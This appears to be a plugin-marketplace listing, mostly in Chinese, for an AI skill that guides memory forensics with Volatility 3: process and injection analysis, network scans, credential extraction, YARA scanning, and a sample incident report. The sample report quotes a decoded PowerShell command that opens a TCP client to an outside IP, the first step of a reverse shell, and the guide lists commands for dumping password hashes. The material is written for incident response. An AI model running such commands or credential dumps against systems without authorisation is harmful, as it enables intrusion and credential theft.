Analyzes RAM memory dumps from compromised Windows/Linux/macOS systems using Volatility to detect malicious processes, code injections, network connections, loaded modules, and extract credentials. For memory forensics and incident response.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 被攻陷系统的 RAM 已被捕获,需要对恶意软件工件进行取证分析
Analyzes RAM memory dumps using Volatility to detect malicious processes, injected code, network connections, loaded modules, and extract credentials from Windows, Linux, macOS systems.
Analyzes RAM dumps using Volatility to detect malicious processes, code injection, rootkits, network connections, and extract credentials from Windows/Linux/macOS systems.
Uses Volatility 3 to analyze RAM dumps, extracting running processes, network connections, loaded modules, and detecting hidden processes or malware in incident response.
Share bugs, ideas, or general feedback.
不适用于磁盘镜像分析;请使用 Autopsy、FTK 或 Sleuth Kit 进行磁盘取证。
pip install volatility3),并带有目标操作系统的符号表从内存转储中确定操作系统和版本:
# Volatility 3:自动操作系统检测
vol3 -f memory.dmp windows.info
# 列出可用插件
vol3 -f memory.dmp --help
# 如果需要符号表,从以下地址下载:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# 对于 Volatility 2(旧版):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
列出所有进程并识别可疑条目:
# 列出所有进程
vol3 -f memory.dmp windows.pslist
# 进程树(父子进程关系)
vol3 -f memory.dmp windows.pstree
# 扫描隐藏/未链接的进程(Rootkit 检测)
vol3 -f memory.dmp windows.psscan
# 比较 pslist 和 psscan 以查找隐藏进程
# 在 psscan 中但不在 pslist 中的进程可能被 Rootkit 隐藏
# 检查进程空洞化
vol3 -f memory.dmp windows.pslist --dump
# 然后验证转储的 EXE 是否与磁盘上的预期二进制文件匹配
可疑进程指标:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe 不是由 services.exe 启动(父进程错误)
- csrss.exe/lsass.exe 具有异常的父进程
- lsass.exe 有多个实例(应该只有一个)
- 进程名称拼写错误(scvhost.exe、lssas.exe)
- cmd.exe 或 powershell.exe 由 WINWORD.EXE 或浏览器启动
- 从异常路径运行的进程(%TEMP%、%APPDATA%)
- 没有父进程的进程(孤立进程 - 父进程已终止)
扫描注入的代码和进程空洞化:
# 检测进程中的注入代码(malfind)
vol3 -f memory.dmp windows.malfind
# malfind 查找:
# - 具有 PAGE_EXECUTE_READWRITE 保护的内存区域
# - 包含 PE 头部(MZ/PE 签名)的内存区域
# - VAD(虚拟地址描述符)异常
# 转储注入的内存区域进行分析
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# 列出每个进程加载的 DLL
vol3 -f memory.dmp windows.dlllist --pid 2184
# 通过比较映射镜像与磁盘检测空洞化进程
vol3 -f memory.dmp windows.hollowfind
# 扫描加载的驱动程序(潜在的 Rootkit 驱动程序)
vol3 -f memory.dmp windows.driverscan
# 列出内核模块
vol3 -f memory.dmp windows.modules
提取活动和已关闭的网络连接:
# 列出所有网络连接(活动和监听)
vol3 -f memory.dmp windows.netscan
# 输出列:偏移量、协议、本地地址、本地端口、外部地址、外部端口、状态、PID、所有者
# 过滤到外部 IP 的已建立连接
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# 对于旧版 Windows(XP/2003):
vol3 -f memory.dmp windows.netstat
# 将 PID 与进程列表交叉验证
# 可疑:svchost.exe 通过非标准端口连接到外部 IP
# 可疑:notepad.exe 或 calc.exe 有网络连接
从内存中恢复敏感数据:
# 转储特定 PID 的进程内存
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# 提取命令行历史
vol3 -f memory.dmp windows.cmdline
# 提取环境变量
vol3 -f memory.dmp windows.envars --pid 2184
# 注册表分析(提取 Run 键用于持久化)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# 提取哈希/缓存的凭据
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# 提取剪贴板内容
vol3 -f memory.dmp windows.clipboard
# 从内存提取文件
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
应用 YARA 签名检测内存中的已知恶意软件:
# 使用 YARA 规则扫描整个内存转储
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# 扫描特定进程内存
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# 使用常见模式的内置 YARA 扫描
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# 扫描加密密钥材料
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
创建分析时间线并汇编发现结果:
# 生成全面的时间线
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# 时间线包含:
# - 进程创建/退出时间
# - 网络连接时间戳
# - 注册表修改时间
# - 文件访问时间
# 导出进程列表用于报告
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# 导出网络连接
vol3 -f memory.dmp windows.netscan --output csv > network.csv
| 术语 | 定义 |
|---|---|
| 内存取证 | 分析易失性内存(RAM)内容,以识别运行中的进程、网络连接和可能不存在于磁盘上的内存工件 |
| 进程空洞化 | 恶意软件技术,以挂起状态创建合法进程,用恶意代码替换其内存,然后恢复执行 |
| Malfind | Volatility 插件,通过识别非镜像 VAD 中具有可执行权限和 PE 头部的内存区域来检测注入代码 |
| VAD(虚拟地址描述符) | Windows 内核结构,跟踪分配给进程的内存区域;VAD 中的异常表明注入或空洞化 |
| EPROCESS | 表示进程的 Windows 内核结构;Rootkit 通过取消链接 EPROCESS 条目来向标准工具隐藏进程 |
| 池标签扫描 | 内存取证技术,扫描内核对象池标签以查找对象(进程、文件、连接),即使在未链接时也能找到 |
| 无文件恶意软件 | 完全在内存中运行而不在磁盘上创建文件的恶意软件;只能通过内存取证检测 |
场景背景:EDR 检测到可疑的 PowerShell 活动,但威胁者清除了磁盘工件。系统重启前已捕获内存转储。分析需要识别恶意软件、其持久化机制和任何横向移动。
方法:
windows.pstree 识别进程链(哪个进程启动了 PowerShell)windows.malfind 检测运行中进程中的注入代码windows.netscan 识别被攻陷进程的网络连接windows.cmdline 查看 PowerShell 执行了什么命令hashdump 和 lsadump 提取凭据以评估横向移动风险常见陷阱:
pslist 和 psscan 输出(遗漏 Rootkit 隐藏的进程)内存取证分析报告
===================================
转储文件: memory.dmp
转储大小: 16 GB
操作系统版本: Windows 10 21H2(内部版本 19044)
捕获工具: WinPmem 4.0
捕获时间: 2025-09-15 14:35:00 UTC
可疑进程
PID PPID 名称 路径 异常
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe 路径错误
4012 2184 powershell.exe C:\Windows\System32\powershell.exe 伪造 svchost 的子进程
3456 4012 cmd.exe C:\Windows\System32\cmd.exe 由 PowerShell 启动
检测到代码注入(malfind)
PID 852(explorer.exe):
地址:0x00400000 大小:98304 保护:PAGE_EXECUTE_READWRITE
头部:MZ(检测到嵌入的 PE)
转储 SHA-256:abc123def456...
网络连接
PID 进程 本地 外部 状态
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
提取的凭据
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
命令行历史
PID 4012:powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
解码:$client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA 匹配
PID 2184:rule CobaltStrike_Beacon { matched at 0x00401200 }
时间线
14:10:00 svchost.exe(PID 2184)从 C:\Users\Admin\AppData\Temp\ 创建
14:10:05 建立到 185.220.101.42:443 的网络连接
14:12:30 powershell.exe(PID 4012)由 svchost.exe 启动
14:15:00 检测到对 explorer.exe(PID 852)的代码注入
14:20:00 从 LSASS 进程转储凭据